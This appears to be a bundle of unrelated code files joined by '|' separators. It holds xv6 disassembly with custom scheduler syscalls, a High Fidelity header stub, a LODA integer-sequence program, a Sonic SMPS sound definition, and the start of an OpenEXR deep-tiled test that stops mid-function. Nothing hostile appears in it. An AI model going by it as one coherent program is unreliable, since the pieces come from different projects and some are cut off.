1d7: 89 1c 24 mov %ebx,(%esp)
1da: 89 c6 mov %eax,%esi
1dc: e8 b9 00 00 00 call 29a <close>
1e1: 83 c4 10 add $0x10,%esp
1e4: 8d 65 f8 lea -0x8(%ebp),%esp
1e7: 89 f0 mov %esi,%eax
1e9: 5b pop %ebx
1ea: 5e pop %esi
1eb: 5d pop %ebp
1ec: c3 ret
1ed: 8d 76 00 lea 0x0(%esi),%esi
1f0: be ff ff ff ff mov $0xffffffff,%esi
1f5: eb ed jmp 1e4 <stat+0x34>
1f7: 89 f6 mov %esi,%esi
1f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000200 <atoi>:
200: 55 push %ebp
201: 89 e5 mov %esp,%ebp
203: 53 push %ebx
204: 8b 4d 08 mov 0x8(%ebp),%ecx
207: 0f be 11 movsbl (%ecx),%edx
20a: 8d 42 d0 lea -0x30(%edx),%eax
20d: 3c 09 cmp $0x9,%al
20f: b8 00 00 00 00 mov $0x0,%eax
214: 77 1f ja 235 <atoi+0x35>
216: 8d 76 00 lea 0x0(%esi),%esi
219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
220: 8d 04 80 lea (%eax,%eax,4),%eax
223: 83 c1 01 add $0x1,%ecx
226: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
22a: 0f be 11 movsbl (%ecx),%edx
22d: 8d 5a d0 lea -0x30(%edx),%ebx
230: 80 fb 09 cmp $0x9,%bl
233: 76 eb jbe 220 <atoi+0x20>
235: 5b pop %ebx
236: 5d pop %ebp
237: c3 ret
238: 90 nop
239: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000240 <memmove>:
240: 55 push %ebp
241: 89 e5 mov %esp,%ebp
243: 56 push %esi
244: 53 push %ebx
245: 8b 5d 10 mov 0x10(%ebp),%ebx
248: 8b 45 08 mov 0x8(%ebp),%eax
24b: 8b 75 0c mov 0xc(%ebp),%esi
24e: 85 db test %ebx,%ebx
250: 7e 14 jle 266 <memmove+0x26>
252: 31 d2 xor %edx,%edx
254: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
258: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
25c: 88 0c 10 mov %cl,(%eax,%edx,1)
25f: 83 c2 01 add $0x1,%edx
262: 39 d3 cmp %edx,%ebx
264: 75 f2 jne 258 <memmove+0x18>
266: 5b pop %ebx
267: 5e pop %esi
268: 5d pop %ebp
269: c3 ret
0000026a <fork>:
26a: b8 01 00 00 00 mov $0x1,%eax
26f: cd 40 int $0x40
271: c3 ret
00000272 <exit>:
272: b8 02 00 00 00 mov $0x2,%eax
277: cd 40 int $0x40
279: c3 ret
0000027a <wait>:
27a: b8 03 00 00 00 mov $0x3,%eax
27f: cd 40 int $0x40
281: c3 ret
00000282 <pipe>:
282: b8 04 00 00 00 mov $0x4,%eax
287: cd 40 int $0x40
289: c3 ret
0000028a <read>:
28a: b8 05 00 00 00 mov $0x5,%eax
28f: cd 40 int $0x40
291: c3 ret
00000292 <write>:
292: b8 10 00 00 00 mov $0x10,%eax
297: cd 40 int $0x40
299: c3 ret
0000029a <close>:
29a: b8 15 00 00 00 mov $0x15,%eax
29f: cd 40 int $0x40
2a1: c3 ret
000002a2 <kill>:
2a2: b8 06 00 00 00 mov $0x6,%eax
2a7: cd 40 int $0x40
2a9: c3 ret
000002aa <exec>:
2aa: b8 07 00 00 00 mov $0x7,%eax
2af: cd 40 int $0x40
2b1: c3 ret
000002b2 <open>:
2b2: b8 0f 00 00 00 mov $0xf,%eax
2b7: cd 40 int $0x40
2b9: c3 ret
000002ba <mknod>:
2ba: b8 11 00 00 00 mov $0x11,%eax
2bf: cd 40 int $0x40
2c1: c3 ret
000002c2 <unlink>:
2c2: b8 12 00 00 00 mov $0x12,%eax
2c7: cd 40 int $0x40
2c9: c3 ret
000002ca <fstat>:
2ca: b8 08 00 00 00 mov $0x8,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <link>:
2d2: b8 13 00 00 00 mov $0x13,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <mkdir>:
2da: b8 14 00 00 00 mov $0x14,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <chdir>:
2e2: b8 09 00 00 00 mov $0x9,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <dup>:
2ea: b8 0a 00 00 00 mov $0xa,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <getpid>:
2f2: b8 0b 00 00 00 mov $0xb,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <sbrk>:
2fa: b8 0c 00 00 00 mov $0xc,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <sleep>:
302: b8 0d 00 00 00 mov $0xd,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <uptime>:
30a: b8 0e 00 00 00 mov $0xe,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <hello>:
312: b8 16 00 00 00 mov $0x16,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <hello_name>:
31a: b8 17 00 00 00 mov $0x17,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <get_num_proc>:
322: b8 18 00 00 00 mov $0x18,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <get_max_pid>:
32a: b8 19 00 00 00 mov $0x19,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <get_proc_info>:
332: b8 1a 00 00 00 mov $0x1a,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <cps>:
33a: b8 1b 00 00 00 mov $0x1b,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <get_prio>:
342: b8 1c 00 00 00 mov $0x1c,%eax
347: cd 40 int $0x40
349: c3 ret
0000034a <set_prio>:
34a: b8 1d 00 00 00 mov $0x1d,%eax
34f: cd 40 int $0x40
351: c3 ret
352: 66 90 xchg %ax,%ax
354: 66 90 xchg %ax,%ax
356: 66 90 xchg %ax,%ax
358: 66 90 xchg %ax,%ax
35a: 66 90 xchg %ax,%ax
35c: 66 90 xchg %ax,%ax
35e: 66 90 xchg %ax,%ax
00000360 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 57 push %edi
364: 56 push %esi
365: 53 push %ebx
366: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
369: 85 d2 test %edx,%edx
{
36b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
36e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
370: 79 76 jns 3e8 <printint+0x88>
372: f6 45 08 01 testb $0x1,0x8(%ebp)
376: 74 70 je 3e8 <printint+0x88>
x = -xx;
378: f7 d8 neg %eax
neg = 1;
37a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
381: 31 f6 xor %esi,%esi
383: 8d 5d d7 lea -0x29(%ebp),%ebx
386: eb 0a jmp 392 <printint+0x32>
388: 90 nop
389: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
390: 89 fe mov %edi,%esi
392: 31 d2 xor %edx,%edx
394: 8d 7e 01 lea 0x1(%esi),%edi
397: f7 f1 div %ecx
399: 0f b6 92 60 07 00 00 movzbl 0x760(%edx),%edx
}while((x /= base) != 0);
3a0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
3a2: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
3a5: 75 e9 jne 390 <printint+0x30>
if(neg)
3a7: 8b 45 c4 mov -0x3c(%ebp),%eax
3aa: 85 c0 test %eax,%eax
3ac: 74 08 je 3b6 <printint+0x56>
buf[i++] = '-';
3ae: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
3b3: 8d 7e 02 lea 0x2(%esi),%edi
3b6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
3ba: 8b 7d c0 mov -0x40(%ebp),%edi
3bd: 8d 76 00 lea 0x0(%esi),%esi
3c0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
3c3: 83 ec 04 sub $0x4,%esp
3c6: 83 ee 01 sub $0x1,%esi
3c9: 6a 01 push $0x1
3cb: 53 push %ebx
3cc: 57 push %edi
3cd: 88 45 d7 mov %al,-0x29(%ebp)
3d0: e8 bd fe ff ff call 292 <write>
while(--i >= 0)
3d5: 83 c4 10 add $0x10,%esp
3d8: 39 de cmp %ebx,%esi
3da: 75 e4 jne 3c0 <printint+0x60>
putc(fd, buf[i]);
}
3dc: 8d 65 f4 lea -0xc(%ebp),%esp
3df: 5b pop %ebx
3e0: 5e pop %esi
3e1: 5f pop %edi
3e2: 5d pop %ebp
3e3: c3 ret
3e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
3e8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
3ef: eb 90 jmp 381 <printint+0x21>
3f1: eb 0d jmp 400 <printf>
3f3: 90 nop
3f4: 90 nop
3f5: 90 nop
3f6: 90 nop
3f7: 90 nop
3f8: 90 nop
3f9: 90 nop
3fa: 90 nop
3fb: 90 nop
3fc: 90 nop
3fd: 90 nop
3fe: 90 nop
3ff: 90 nop
00000400 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 57 push %edi
404: 56 push %esi
405: 53 push %ebx
406: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
409: 8b 75 0c mov 0xc(%ebp),%esi
40c: 0f b6 1e movzbl (%esi),%ebx
40f: 84 db test %bl,%bl
411: 0f 84 b3 00 00 00 je 4ca <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
417: 8d 45 10 lea 0x10(%ebp),%eax
41a: 83 c6 01 add $0x1,%esi
state = 0;
41d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
41f: 89 45 d4 mov %eax,-0x2c(%ebp)
422: eb 2f jmp 453 <printf+0x53>
424: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
428: 83 f8 25 cmp $0x25,%eax
42b: 0f 84 a7 00 00 00 je 4d8 <printf+0xd8>
write(fd, &c, 1);
431: 8d 45 e2 lea -0x1e(%ebp),%eax
434: 83 ec 04 sub $0x4,%esp
437: 88 5d e2 mov %bl,-0x1e(%ebp)
43a: 6a 01 push $0x1
43c: 50 push %eax
43d: ff 75 08 pushl 0x8(%ebp)
440: e8 4d fe ff ff call 292 <write>
445: 83 c4 10 add $0x10,%esp
448: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
44b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
44f: 84 db test %bl,%bl
451: 74 77 je 4ca <printf+0xca>
if(state == 0){
453: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
455: 0f be cb movsbl %bl,%ecx
458: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
45b: 74 cb je 428 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
45d: 83 ff 25 cmp $0x25,%edi
460: 75 e6 jne 448 <printf+0x48>
if(c == 'd'){
462: 83 f8 64 cmp $0x64,%eax
465: 0f 84 05 01 00 00 je 570 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
46b: 81 e1 f7 00 00 00 and $0xf7,%ecx
471: 83 f9 70 cmp $0x70,%ecx
474: 74 72 je 4e8 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
476: 83 f8 73 cmp $0x73,%eax
479: 0f 84 99 00 00 00 je 518 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
47f: 83 f8 63 cmp $0x63,%eax
482: 0f 84 08 01 00 00 je 590 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
488: 83 f8 25 cmp $0x25,%eax
48b: 0f 84 ef 00 00 00 je 580 <printf+0x180>
write(fd, &c, 1);
491: 8d 45 e7 lea -0x19(%ebp),%eax
494: 83 ec 04 sub $0x4,%esp
497: c6 45 e7 25 movb $0x25,-0x19(%ebp)
49b: 6a 01 push $0x1
49d: 50 push %eax
49e: ff 75 08 pushl 0x8(%ebp)
4a1: e8 ec fd ff ff call 292 <write>
4a6: 83 c4 0c add $0xc,%esp
4a9: 8d 45 e6 lea -0x1a(%ebp),%eax
4ac: 88 5d e6 mov %bl,-0x1a(%ebp)
4af: 6a 01 push $0x1
4b1: 50 push %eax
4b2: ff 75 08 pushl 0x8(%ebp)
4b5: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4b8: 31 ff xor %edi,%edi
write(fd, &c, 1);
4ba: e8 d3 fd ff ff call 292 <write>
for(i = 0; fmt[i]; i++){
4bf: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
4c3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
4c6: 84 db test %bl,%bl
4c8: 75 89 jne 453 <printf+0x53>
}
}
}
4ca: 8d 65 f4 lea -0xc(%ebp),%esp
4cd: 5b pop %ebx
4ce: 5e pop %esi
4cf: 5f pop %edi
4d0: 5d pop %ebp
4d1: c3 ret
4d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
4d8: bf 25 00 00 00 mov $0x25,%edi
4dd: e9 66 ff ff ff jmp 448 <printf+0x48>
4e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
4e8: 83 ec 0c sub $0xc,%esp
4eb: b9 10 00 00 00 mov $0x10,%ecx
4f0: 6a 00 push $0x0
4f2: 8b 7d d4 mov -0x2c(%ebp),%edi
4f5: 8b 45 08 mov 0x8(%ebp),%eax
4f8: 8b 17 mov (%edi),%edx
4fa: e8 61 fe ff ff call 360 <printint>
ap++;
4ff: 89 f8 mov %edi,%eax
501: 83 c4 10 add $0x10,%esp
state = 0;
504: 31 ff xor %edi,%edi
ap++;
506: 83 c0 04 add $0x4,%eax
509: 89 45 d4 mov %eax,-0x2c(%ebp)
50c: e9 37 ff ff ff jmp 448 <printf+0x48>
511: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
518: 8b 45 d4 mov -0x2c(%ebp),%eax
51b: 8b 08 mov (%eax),%ecx
ap++;
51d: 83 c0 04 add $0x4,%eax
520: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
523: 85 c9 test %ecx,%ecx
525: 0f 84 8e 00 00 00 je 5b9 <printf+0x1b9>
while(*s != 0){
52b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
52e: 31 ff xor %edi,%edi
s = (char*)*ap;
530: 89 cb mov %ecx,%ebx
while(*s != 0){
532: 84 c0 test %al,%al
534: 0f 84 0e ff ff ff je 448 <printf+0x48>
53a: 89 75 d0 mov %esi,-0x30(%ebp)
53d: 89 de mov %ebx,%esi
53f: 8b 5d 08 mov 0x8(%ebp),%ebx
542: 8d 7d e3 lea -0x1d(%ebp),%edi
545: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
548: 83 ec 04 sub $0x4,%esp
s++;
54b: 83 c6 01 add $0x1,%esi
54e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
551: 6a 01 push $0x1
553: 57 push %edi
554: 53 push %ebx
555: e8 38 fd ff ff call 292 <write>
while(*s != 0){
55a: 0f b6 06 movzbl (%esi),%eax
55d: 83 c4 10 add $0x10,%esp
560: 84 c0 test %al,%al
562: 75 e4 jne 548 <printf+0x148>
564: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
567: 31 ff xor %edi,%edi
569: e9 da fe ff ff jmp 448 <printf+0x48>
56e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
570: 83 ec 0c sub $0xc,%esp
573: b9 0a 00 00 00 mov $0xa,%ecx
578: 6a 01 push $0x1
57a: e9 73 ff ff ff jmp 4f2 <printf+0xf2>
57f: 90 nop
write(fd, &c, 1);
580: 83 ec 04 sub $0x4,%esp
583: 88 5d e5 mov %bl,-0x1b(%ebp)
586: 8d 45 e5 lea -0x1b(%ebp),%eax
589: 6a 01 push $0x1
58b: e9 21 ff ff ff jmp 4b1 <printf+0xb1>
putc(fd, *ap);
590: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
593: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
596: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
598: 6a 01 push $0x1
ap++;
59a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
59d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
5a0: 8d 45 e4 lea -0x1c(%ebp),%eax
5a3: 50 push %eax
5a4: ff 75 08 pushl 0x8(%ebp)
5a7: e8 e6 fc ff ff call 292 <write>
ap++;
5ac: 89 7d d4 mov %edi,-0x2c(%ebp)
5af: 83 c4 10 add $0x10,%esp
state = 0;
5b2: 31 ff xor %edi,%edi
5b4: e9 8f fe ff ff jmp 448 <printf+0x48>
s = "(null)";
5b9: bb 58 07 00 00 mov $0x758,%ebx
while(*s != 0){
5be: b8 28 00 00 00 mov $0x28,%eax
5c3: e9 72 ff ff ff jmp 53a <printf+0x13a>
5c8: 66 90 xchg %ax,%ax
5ca: 66 90 xchg %ax,%ax
5cc: 66 90 xchg %ax,%ax
5ce: 66 90 xchg %ax,%ax
000005d0 <free>:
5d0: 55 push %ebp
5d1: a1 04 0a 00 00 mov 0xa04,%eax
5d6: 89 e5 mov %esp,%ebp
5d8: 57 push %edi
5d9: 56 push %esi
5da: 53 push %ebx
5db: 8b 5d 08 mov 0x8(%ebp),%ebx
5de: 8d 4b f8 lea -0x8(%ebx),%ecx
5e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
5e8: 39 c8 cmp %ecx,%eax
5ea: 8b 10 mov (%eax),%edx
5ec: 73 32 jae 620 <free+0x50>
5ee: 39 d1 cmp %edx,%ecx
5f0: 72 04 jb 5f6 <free+0x26>
5f2: 39 d0 cmp %edx,%eax
5f4: 72 32 jb 628 <free+0x58>
5f6: 8b 73 fc mov -0x4(%ebx),%esi
5f9: 8d 3c f1 lea (%ecx,%esi,8),%edi
5fc: 39 fa cmp %edi,%edx
5fe: 74 30 je 630 <free+0x60>
600: 89 53 f8 mov %edx,-0x8(%ebx)
603: 8b 50 04 mov 0x4(%eax),%edx
606: 8d 34 d0 lea (%eax,%edx,8),%esi
609: 39 f1 cmp %esi,%ecx
60b: 74 3a je 647 <free+0x77>
60d: 89 08 mov %ecx,(%eax)
60f: a3 04 0a 00 00 mov %eax,0xa04
614: 5b pop %ebx
615: 5e pop %esi
616: 5f pop %edi
617: 5d pop %ebp
618: c3 ret
619: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
620: 39 d0 cmp %edx,%eax
622: 72 04 jb 628 <free+0x58>
624: 39 d1 cmp %edx,%ecx
626: 72 ce jb 5f6 <free+0x26>
628: 89 d0 mov %edx,%eax
62a: eb bc jmp 5e8 <free+0x18>
62c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
630: 03 72 04 add 0x4(%edx),%esi
633: 89 73 fc mov %esi,-0x4(%ebx)
636: 8b 10 mov (%eax),%edx
638: 8b 12 mov (%edx),%edx
63a: 89 53 f8 mov %edx,-0x8(%ebx)
63d: 8b 50 04 mov 0x4(%eax),%edx
640: 8d 34 d0 lea (%eax,%edx,8),%esi
643: 39 f1 cmp %esi,%ecx
645: 75 c6 jne 60d <free+0x3d>
647: 03 53 fc add -0x4(%ebx),%edx
64a: a3 04 0a 00 00 mov %eax,0xa04
64f: 89 50 04 mov %edx,0x4(%eax)
652: 8b 53 f8 mov -0x8(%ebx),%edx
655: 89 10 mov %edx,(%eax)
657: 5b pop %ebx
658: 5e pop %esi
659: 5f pop %edi
65a: 5d pop %ebp
65b: c3 ret
65c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000660 <malloc>:
660: 55 push %ebp
661: 89 e5 mov %esp,%ebp
663: 57 push %edi
664: 56 push %esi
665: 53 push %ebx
666: 83 ec 0c sub $0xc,%esp
669: 8b 45 08 mov 0x8(%ebp),%eax
66c: 8b 15 04 0a 00 00 mov 0xa04,%edx
672: 8d 78 07 lea 0x7(%eax),%edi
675: c1 ef 03 shr $0x3,%edi
678: 83 c7 01 add $0x1,%edi
67b: 85 d2 test %edx,%edx
67d: 0f 84 9d 00 00 00 je 720 <malloc+0xc0>
683: 8b 02 mov (%edx),%eax
685: 8b 48 04 mov 0x4(%eax),%ecx
688: 39 cf cmp %ecx,%edi
68a: 76 6c jbe 6f8 <malloc+0x98>
68c: 81 ff 00 10 00 00 cmp $0x1000,%edi
692: bb 00 10 00 00 mov $0x1000,%ebx
697: 0f 43 df cmovae %edi,%ebx
69a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
6a1: eb 0e jmp 6b1 <malloc+0x51>
6a3: 90 nop
6a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
6a8: 8b 02 mov (%edx),%eax
6aa: 8b 48 04 mov 0x4(%eax),%ecx
6ad: 39 f9 cmp %edi,%ecx
6af: 73 47 jae 6f8 <malloc+0x98>
6b1: 39 05 04 0a 00 00 cmp %eax,0xa04
6b7: 89 c2 mov %eax,%edx
6b9: 75 ed jne 6a8 <malloc+0x48>
6bb: 83 ec 0c sub $0xc,%esp
6be: 56 push %esi
6bf: e8 36 fc ff ff call 2fa <sbrk>
6c4: 83 c4 10 add $0x10,%esp
6c7: 83 f8 ff cmp $0xffffffff,%eax
6ca: 74 1c je 6e8 <malloc+0x88>
6cc: 89 58 04 mov %ebx,0x4(%eax)
6cf: 83 ec 0c sub $0xc,%esp
6d2: 83 c0 08 add $0x8,%eax
6d5: 50 push %eax
6d6: e8 f5 fe ff ff call 5d0 <free>
6db: 8b 15 04 0a 00 00 mov 0xa04,%edx
6e1: 83 c4 10 add $0x10,%esp
6e4: 85 d2 test %edx,%edx
6e6: 75 c0 jne 6a8 <malloc+0x48>
6e8: 8d 65 f4 lea -0xc(%ebp),%esp
6eb: 31 c0 xor %eax,%eax
6ed: 5b pop %ebx
6ee: 5e pop %esi
6ef: 5f pop %edi
6f0: 5d pop %ebp
6f1: c3 ret
6f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
6f8: 39 cf cmp %ecx,%edi
6fa: 74 54 je 750 <malloc+0xf0>
6fc: 29 f9 sub %edi,%ecx
6fe: 89 48 04 mov %ecx,0x4(%eax)
701: 8d 04 c8 lea (%eax,%ecx,8),%eax
704: 89 78 04 mov %edi,0x4(%eax)
707: 89 15 04 0a 00 00 mov %edx,0xa04
70d: 8d 65 f4 lea -0xc(%ebp),%esp
710: 83 c0 08 add $0x8,%eax
713: 5b pop %ebx
714: 5e pop %esi
715: 5f pop %edi
716: 5d pop %ebp
717: c3 ret
718: 90 nop
719: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
720: c7 05 04 0a 00 00 08 movl $0xa08,0xa04
727: 0a 00 00
72a: c7 05 08 0a 00 00 08 movl $0xa08,0xa08
731: 0a 00 00
734: b8 08 0a 00 00 mov $0xa08,%eax
739: c7 05 0c 0a 00 00 00 movl $0x0,0xa0c
740: 00 00 00
743: e9 44 ff ff ff jmp 68c <malloc+0x2c>
748: 90 nop
749: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
750: 8b 08 mov (%eax),%ecx
752: 89 0a mov %ecx,(%edx)
754: eb b1 jmp 707 <malloc+0xa7>
|
//
// Created by Bradley Austin Davis on 2015/08/08
// Copyright 2015 High Fidelity, Inc.
//
// Distributed under the Apache License, Version 2.0.
// See the accompanying file LICENSE or http://www.apache.org/licenses/LICENSE-2.0.html
//
#include "OculusHelpers.h"
|
; A199332: Triangle read by rows, where even numbered rows contain the nonsquares (cf. A000037) and odd rows contain replicated squares.
; Submitted by Christian Krause
; 1,2,3,4,4,4,5,6,7,8,9,9,9,9,9,10,11,12,13,14,15,16,16,16,16,16,16,16,17,18,19,20,21,22,23,24,25,25,25,25,25,25,25,25,25,26,27,28,29,30,31,32,33,34,35,36,36,36,36,36,36,36,36,36,36,36,37,38,39,40,41,42,43,44,45,46,47,48,49,49,49,49,49,49,49,49,49,49,49,49,49,50,51,52,53,54,55,56,57,58
lpb $0
add $2,2
add $1,$2
add $1,1
sub $0,$1
trn $0,$2
add $0,$1
lpe
add $0,1
|
Sound_D9_Header:
smpsHeaderStartSong 3
smpsHeaderVoice Sound_D9_Voices
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $01
smpsHeaderSFXChannel cFM3, Sound_D9_FM3, $D3, $09
; FM3 Data
Sound_D9_FM3:
smpsSetvoice $00
smpsModSet $03, $01, $0D, $01
Sound_D9_Loop00:
dc.b nC0, $16
smpsContinuousLoop Sound_D9_Loop00
smpsStop
Sound_D9_Voices:
; Voice $00
; $FB
; $21, $30, $21, $31, $0A, $14, $13, $0F, $05, $18, $09, $02
; $0B, $1F, $10, $05, $1F, $2F, $4F, $2F, $1B, $17, $04, $80
smpsVcAlgorithm $03
smpsVcFeedback $07
smpsVcUnusedBits $03
smpsVcDetune $03, $02, $03, $02
smpsVcCoarseFreq $01, $01, $00, $01
smpsVcRateScale $00, $00, $00, $00
smpsVcAttackRate $0F, $13, $14, $0A
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $02, $09, $18, $05
smpsVcDecayRate2 $05, $10, $1F, $0B
smpsVcDecayLevel $02, $04, $02, $01
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $00, $04, $17, $1B
|
///////////////////////////////////////////////////////////////////////////
//
// Copyright (c) 2011, Industrial Light & Magic, a division of Lucas
// Digital Ltd. LLC
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Industrial Light & Magic nor the names of
// its contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
///////////////////////////////////////////////////////////////////////////
#ifdef NDEBUG
# undef NDEBUG
#endif
#include "testDeepTiledBasic.h"
#include <assert.h>
#include <string.h>
#include <ImfDeepTiledInputFile.h>
#include <ImfDeepTiledOutputFile.h>
#include <ImfChannelList.h>
#include <ImfArray.h>
#include <ImfPartType.h>
#include <IlmThreadPool.h>
#include <stdio.h>
#include <stdlib.h>
#include <vector>
namespace IMF = OPENEXR_IMF_NAMESPACE;
using namespace IMF;
using namespace IMATH_NAMESPACE;
using namespace ILMTHREAD_NAMESPACE;
using namespace std;
namespace
{
const int width = 273;
const int height = 169;
const int minX = 10;
const int minY = 11;
const Box2i dataWindow(V2i(minX, minY), V2i(minX + width - 1, minY + height - 1));
const Box2i displayWindow(V2i(0, 0), V2i(minX + width * 2, minY + height * 2));
vector<int> channelTypes;
Array2D< Array2D<unsigned int> > sampleCountWhole;
Header header;
void generateRandomFile (int channelCount,
Compression compression,
bool bulkWrite,
bool relativeCoords,
const std::string & filename)
{
if (relativeCoords)
assert(bulkWrite == false);
cout << "generating " << flush;
header = Header(displayWindow, dataWindow,
1,
IMATH_NAMESPACE::V2f (0, 0),
1,
INCREASING_Y,
compression);
cout << "compression " << compression << " " << flush;
//
// Add channels.
//
channelTypes.clear();
for (int i = 0; i < channelCount; i++)
{
int type = rand() % 3;
stringstream ss;
ss << i;
string str = ss.str();
if (type == 0)
header.channels().insert(str, Channel(IMF::UINT));
if (type == 1)
header.channels().insert(str, Channel(IMF::HALF));
if (type == 2)
header.channels().insert(str, Channel(IMF::FLOAT));
channelTypes.push_back(type);
}
header.setType(DEEPTILE);
header.setTileDescription(
TileDescription(rand() % width + 1, rand() % height + 1, RIPMAP_LEVELS));
//
// Set up the output file
//
remove (filename.c_str());
DeepTiledOutputFile file(filename.c_str(), header, 8);
DeepFrameBuffer frameBuffer;
